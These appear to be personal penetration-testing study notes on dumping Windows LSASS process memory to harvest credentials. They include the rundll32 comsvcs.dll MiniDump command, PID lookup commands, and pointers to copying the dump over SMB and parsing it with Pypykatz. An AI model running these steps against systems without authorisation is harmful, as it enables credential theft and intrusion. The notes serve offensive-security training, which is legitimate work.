> For the complete documentation index, see [llms.txt](https://docs.wehost.co.in/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.wehost.co.in/cybersecurity/attacking-lsass.md).

# Attacking LSASS

* \
  Upon initial logon, LSASS will:
  * Cache credentials locally in memory
  * Create [access tokens](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens)
  * Enforce security policies
  * Write to Windows [security log](https://docs.microsoft.com/en-us/windows/win32/eventlog/event-logging-security)

### Dumping LSASS Process Memory

#### Task Manager Method

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* A file called `lsass.DMP` is created and saved in:

```cmd-session
C:\Users\loggedonusersdirectory\AppData\Local\Temp
```

* to copy files use
  * [Create SMB server Linux (HACK)](app://obsidian.md/Create%20SMB%20server%20Linux%20\(HACK\))

#### Rundll32.exe & Comsvcs.dll Method

* modern anti-virus tools recognize this method as malicious activity.
* Before issuing the command to create the dump file, we must determine what process ID (`PID`) is assigned to `lsass.exe`.
* This can be done from cmd or PowerShell:

**Finding LSASS PID in cmd**

```cmd-session
tasklist /svc
```

**Finding LSASS PID in PowerShell**

```powershell-session
Get-Process lsass
```

**Creating lsass.dmp using PowerShell**

```powershell-session
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full
```

* to copy files use
  * [Create SMB server Linux (HACK)](/cybersecurity/create-smb-server-linux-hack.md)

### Using Pypykatz to Extract Credentials

* [Pypykatz](/cybersecurity/pypykatz.md)


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